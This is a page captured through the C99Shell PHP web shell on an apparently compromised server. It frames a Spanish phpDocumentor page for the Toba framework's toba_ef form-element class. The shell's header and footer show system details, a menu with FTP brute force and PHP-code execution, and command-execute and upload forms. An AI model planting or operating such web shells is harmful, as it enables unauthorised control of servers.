!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/proyectos/toba_editor/www/doc/api/Componentes/Efs/   drwxr-xr-x
Free 13.57 GB of 61.93 GB (21.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     toba_ef.html (125.42 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Docs For Class toba_ef
phpDocumentor
[ árbol de herencia: Componentes ] [ índice: Componentes ] [ índice general ]

toba_ef

Clase base de los elementos de formulario.



		
		

Ubicada en /nucleo/componentes/interface/efs/toba_ef.php [line 15]

Documentación WIKI
Clase Javascript equivalente: ef

Abstract  

Subclases directas
toba_ef_cuit Triple editbox que constituyen las 3 partes del CUIT/CUIL
toba_ef_multi_seleccion
toba_ef_editable Elemento editable equivalente a un <input type='text'> Puede manejar una mascara.
toba_ef_checkbox Muestra un checkbox con el tag <input type='checkbox'>
toba_ef_html
toba_ef_seleccion
toba_ef_sin_estado Clase base de los efs que no mantienen estado
toba_ef_upload
toba_ef_oculto Elemento no-editable, que no viaja al cliente y mantiene su estado en el servidor los elementos ocultos no se propagan a traves del formulario porque no tienen interface.

Métodos Propios
static void   get_excepciones()  
static void   get_maximo_descripcion()  
static void   set_excepciones()  
static void   set_maximo_descripcion()  
toba_ef   __construct()  
void   agregar_icono_utileria()   Agrega un icono con comportamiento al lado del elemento
void   cargar_estado_post()   Carga el estado actual del ef a partir del $_POST dejado por este mismo componente en el pedido anterior
boolean   carga_depende_de_estado()   La carga de opciones de este ef depende de su estado actual?
void   clave_memoria()  
toba_formulario   controlador()   Retorna la referencia al componente padre o formulario
void   crear_objeto_js()  
boolean   esta_expandido()   Un ef no expandido se muestra oculto en el layout del formulario.
boolean   es_estado_unico()  
boolean   es_obligatorio()  
boolean   es_seleccionable()   El ef permite seleccionar valores o solo se pueden editar?
void   es_solo_lectura()  
array   get_campos_clave()   Retorna la/s columna/s clave/s del ef.
mixed   get_campo_valor()  
array   get_consumo_javascript()   Esta funcion permite que un EF declare la necesidad de incluir
void   get_cuando_cambia_valor()   Retorna el js utilizado cuando el ef cambia de valor en el cliente
mixed   get_dato()   El 'dato' del ef es la o las columnas de datos asociadas.
string   get_descripcion()  
string   get_descripcion_estado()  
mixed   get_estado()   Retorna el valor o estado actual del ef
string   get_estilo_etiqueta()   Retorna la clase css asociada a la etiqueta
string   get_etiqueta()   Retorna el texto de la etiqueta asociada
void   get_fila_actual()   Obtiene la fila actual en el multiplexado en el ef (usado en el formulario_ml)
void   get_html_iconos_utilerias()  
string   get_id()   Devuelve el id del ef dentro del framework
string   get_id_form()   Retorna el id html del ef en el formulario
string   get_id_form_orig()   Como el id html puede variar si se multiplexa el ef (caso formulario_ml), este metodo retorna el id original del ef
void   get_input()   Genera el HTML del elemento
array   get_maestros()   Retorna la lista de efs de los cuales depende
boolean   get_toggle()   El checkbox esta configurado en los ML para tener un tilde sel/des todos?
void   guardar_dato_sesion()  
void   ir_a_fila()   Multiplexa el ef (usado en el formulario_ml)
mixed   normalizar_parametro_cascada()   Permite normalizar un parametro recibido de una cascada a un formato estandar
void   objeto_js()   Retorna el nombre de la instancia del objeto en javascript
void   parametros_js()   Lista de parametros necesarios para el constructor del objeto en javascript
boolean   permite_seleccion_multiple()  
void   quitar_maestro()  
void   resetear_estado()   Retorna el valor del ef a su estado inicial.
void   seleccionado()   El ef tiene un valor positivo, similar a tiene_estado() pero puede ser mas restrictivo
void   set_cuando_cambia_valor()   Determina el codigo personalizado a ejecutar cuando el ef cambia de valor en el cliente.
string   set_descripcion()  
void   set_estado()   Cambia el valor o estado actual del ef
void   set_estado_defecto()   Cambia el valor que toma el ef cuando no se lo carga con un estado
void   set_estilo_etiqueta()   Cambia la clase css aplicada a la etiqueta
void   set_etiqueta()   Cambia la etiqueta actual del ef
void   set_expandido()   Determina si un ef se muestra o no expandido Un ef no expandido se muestra oculto en el layout del formulario.
void   set_iconos_utilerias()   Cambia los iconos visibles a un lado del elemento
void   set_obligatorio()   Cambia la obligatoriedad de un ef Notar que este cambio no se persiste para el siguiente pedido.
void   set_permitir_html()   Determina si el ef puede contener en su estado HTML, por defecto falso para evitar ataques de seguridad XSS
void   set_solo_lectura()   Cuando un ef se encuentra en solo_lectura su valor es visible al usuario pero no puede modificarlo.
void   set_tamano()  
boolean   son_campos_posicionales()   Retorna true si tanto los campos clave como valor son posicionales
void   tiene_estado()   Retorna true si el ef tiene un valor o estado distinto al nulo
boolean   tiene_etiqueta()   El ef maneja el concepto de etiqueta?
boolean   tiene_opciones_cargadas()   Si el ef permite seleccionar opciones, estas ya estan cargadas?
mixed   validar_estado()   Chequea la validez del estado actual del ef

static method get_excepciones  [línea 232]

  static void get_excepciones( )


Redefinido en subclases como:

static method get_maximo_descripcion  [línea 63]

  static void get_maximo_descripcion( )



static method set_excepciones  [línea 227]

  static void set_excepciones( $excepciones  )

Parámetros:
   $excepciones: 

Redefinido en subclases como:

static method set_maximo_descripcion  [línea 58]

  static void set_maximo_descripcion( $maximo  )

Parámetros:
   $maximo: 


agregar_icono_utileria  [línea 674]

  void agregar_icono_utileria( toba_ef_icono_utileria $icono  )

Agrega un icono con comportamiento al lado del elemento
Parámetros:
toba_ef_icono_utileria   $icono: 


carga_depende_de_estado  [línea 213]

  boolean carga_depende_de_estado( )

La carga de opciones de este ef depende de su estado actual?

Redefinido en subclases como:

clave_memoria  [línea 300]

  void clave_memoria( [ $multiplexado = true]  )

Parámetros:
   $multiplexado: 


controlador  [línea 788]

  toba_formulario controlador( )

Retorna la referencia al componente padre o formulario


esta_expandido  [línea 353]

  boolean esta_expandido( )

Un ef no expandido se muestra oculto en el layout del formulario.


See:  toba_ef::set_expandido()


es_estado_unico  [línea 204]

  boolean es_estado_unico( )


Redefinido en subclases como:

es_obligatorio  [línea 324]

  boolean es_obligatorio( )


See:  toba_ef::set_obligatorio()


es_seleccionable  [línea 187]

  boolean es_seleccionable( )

El ef permite seleccionar valores o solo se pueden editar?

Redefinido en subclases como:

es_solo_lectura  [línea 588]

  void es_solo_lectura( )



get_campos_clave  [línea 255]

  array get_campos_clave( )

Retorna la/s columna/s clave/s del ef.



get_campo_valor  [línea 265]

  mixed get_campo_valor( )



get_cuando_cambia_valor  [línea 768]

  void get_cuando_cambia_valor( )

Retorna el js utilizado cuando el ef cambia de valor en el cliente

Access:  protected


get_dato  [línea 391]

  mixed get_dato( )

El 'dato' del ef es la o las columnas de datos asociadas.

Cuando al formulario se le pide un get_datos() este retorna como columnas los datos definidos en los efs



get_descripcion  [línea 381]

  string get_descripcion( )



get_estado  [línea 418]

  mixed get_estado( )

Retorna el valor o estado actual del ef

Return:  Si el ef maneja un unico dato el estado es un string, sino es un arreglo de strings

Redefinido en subclases como:

get_estilo_etiqueta  [línea 333]

  string get_estilo_etiqueta( )

Retorna la clase css asociada a la etiqueta


get_etiqueta  [línea 371]

  string get_etiqueta( )

Retorna el texto de la etiqueta asociada


get_fila_actual  [línea 552]

  void get_fila_actual( )

Obtiene la fila actual en el multiplexado en el ef (usado en el formulario_ml)


get_html_iconos_utilerias  [línea 679]

  void get_html_iconos_utilerias( )



get_id  [línea 362]

  string get_id( )

Devuelve el id del ef dentro del framework


get_id_form  [línea 409]

  string get_id_form( )

Retorna el id html del ef en el formulario


get_id_form_orig  [línea 400]

  string get_id_form_orig( )

Como el id html puede variar si se multiplexa el ef (caso formulario_ml), este metodo retorna el id original del ef


get_maestros  [línea 245]

  array get_maestros( )

Retorna la lista de efs de los cuales depende

Return:  Arreglo de identificadores de efs


get_toggle  [línea 342]

  boolean get_toggle( )

El checkbox esta configurado en los ML para tener un tilde sel/des todos?


guardar_dato_sesion  [línea 700]

  void guardar_dato_sesion( $dato, [ $multiplexado = false]  )

Parámetros:
   $dato: 
   $multiplexado: 


ir_a_fila  [línea 543]

  void ir_a_fila( [ $agregado = ""]  )

Multiplexa el ef (usado en el formulario_ml)

Permite que una sola intancia de un objeto ef pueda ser utilizada para representar un conjunto de efs similares en estructura

Parámetros:
   $agregado: 


normalizar_parametro_cascada  [línea 530]

  mixed normalizar_parametro_cascada( mixed $parametro  )

Permite normalizar un parametro recibido de una cascada a un formato estandar
Parámetros:
mixed   $parametro:  Valor que se recibio por cascada

Redefinido en subclases como:

objeto_js  [línea 727]

  void objeto_js( )

Retorna el nombre de la instancia del objeto en javascript

Ej: alert({$ef->objeto_js()}.valor())



permite_seleccion_multiple  [línea 195]

  boolean permite_seleccion_multiple( )


Redefinido en subclases como:

quitar_maestro  [línea 292]

  void quitar_maestro( $maestro  )

Parámetros:
   $maestro: 


resetear_estado  [línea 471]

  void resetear_estado( )

Retorna el valor del ef a su estado inicial.

Si el ef no maneja un estado o valor por defecto, su valor sera NULL


Redefinido en subclases como:

seleccionado  [línea 462]

  void seleccionado( )

El ef tiene un valor positivo, similar a tiene_estado() pero puede ser mas restrictivo

Redefinido en subclases como:

set_cuando_cambia_valor  [línea 760]

  void set_cuando_cambia_valor( $js  )

Determina el codigo personalizado a ejecutar cuando el ef cambia de valor en el cliente.

Por ejemplo en el onchange de los input html

Parámetros:
   $js: 


set_descripcion  [línea 571]

  string set_descripcion( $descripcion  )

Parámetros:
   $descripcion: 


set_estado_defecto  [línea 517]

  void set_estado_defecto( $estado  )

Cambia el valor que toma el ef cuando no se lo carga con un estado
Parámetros:
   $estado: 


set_estilo_etiqueta  [línea 612]

  void set_estilo_etiqueta( string $estilo  )

Cambia la clase css aplicada a la etiqueta
Parámetros:
string   $estilo: 


set_etiqueta  [línea 561]

  void set_etiqueta( string $etiqueta  )

Cambia la etiqueta actual del ef
Parámetros:
string   $etiqueta: 


set_expandido  [línea 623]

  void set_expandido( boolean $expandido  )

Determina si un ef se muestra o no expandido Un ef no expandido se muestra oculto en el layout del formulario.

Parámetros:
boolean   $expandido: 


set_iconos_utilerias  [línea 663]

  void set_iconos_utilerias( array $iconos  )

Cambia los iconos visibles a un lado del elemento
Parámetros:
array   $iconos:  Arreglo de iconos que implementan toba_ef_icono_utileria


set_obligatorio  [línea 603]

  void set_obligatorio( [boolean $obligatorio = true]  )

Cambia la obligatoriedad de un ef Notar que este cambio no se persiste para el siguiente pedido.

Para cambiar la obligatoriedad durante todo un ciclo cliente-servidor usar set_efs_obligatorios del formulario

Parámetros:
boolean   $obligatorio: 


set_permitir_html  [línea 645]

  void set_permitir_html( boolean $permitir  )

Determina si el ef puede contener en su estado HTML, por defecto falso para evitar ataques de seguridad XSS
Parámetros:
boolean   $permitir: 


set_solo_lectura  [línea 582]

  void set_solo_lectura( [boolean $solo_lectura = true]  )

Cuando un ef se encuentra en solo_lectura su valor es visible al usuario pero no puede modificarlo.

Parámetros:
boolean   $solo_lectura:  Hacer o no solo lectura


set_tamano  [línea 654]

  void set_tamano( integer $tamanio  )

Parámetros:
integer   $tamanio: 


son_campos_posicionales  [línea 274]

  boolean son_campos_posicionales( )

Retorna true si tanto los campos clave como valor son posicionales


tiene_etiqueta  [línea 222]

  boolean tiene_etiqueta( )

El ef maneja el concepto de etiqueta?

Redefinido en subclases como:

tiene_opciones_cargadas  [línea 313]

  boolean tiene_opciones_cargadas( )

Si el ef permite seleccionar opciones, estas ya estan cargadas?




Desarrollado por SIU.
Documentación generada con phpDocumentor 1.4.3

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.4899 ]--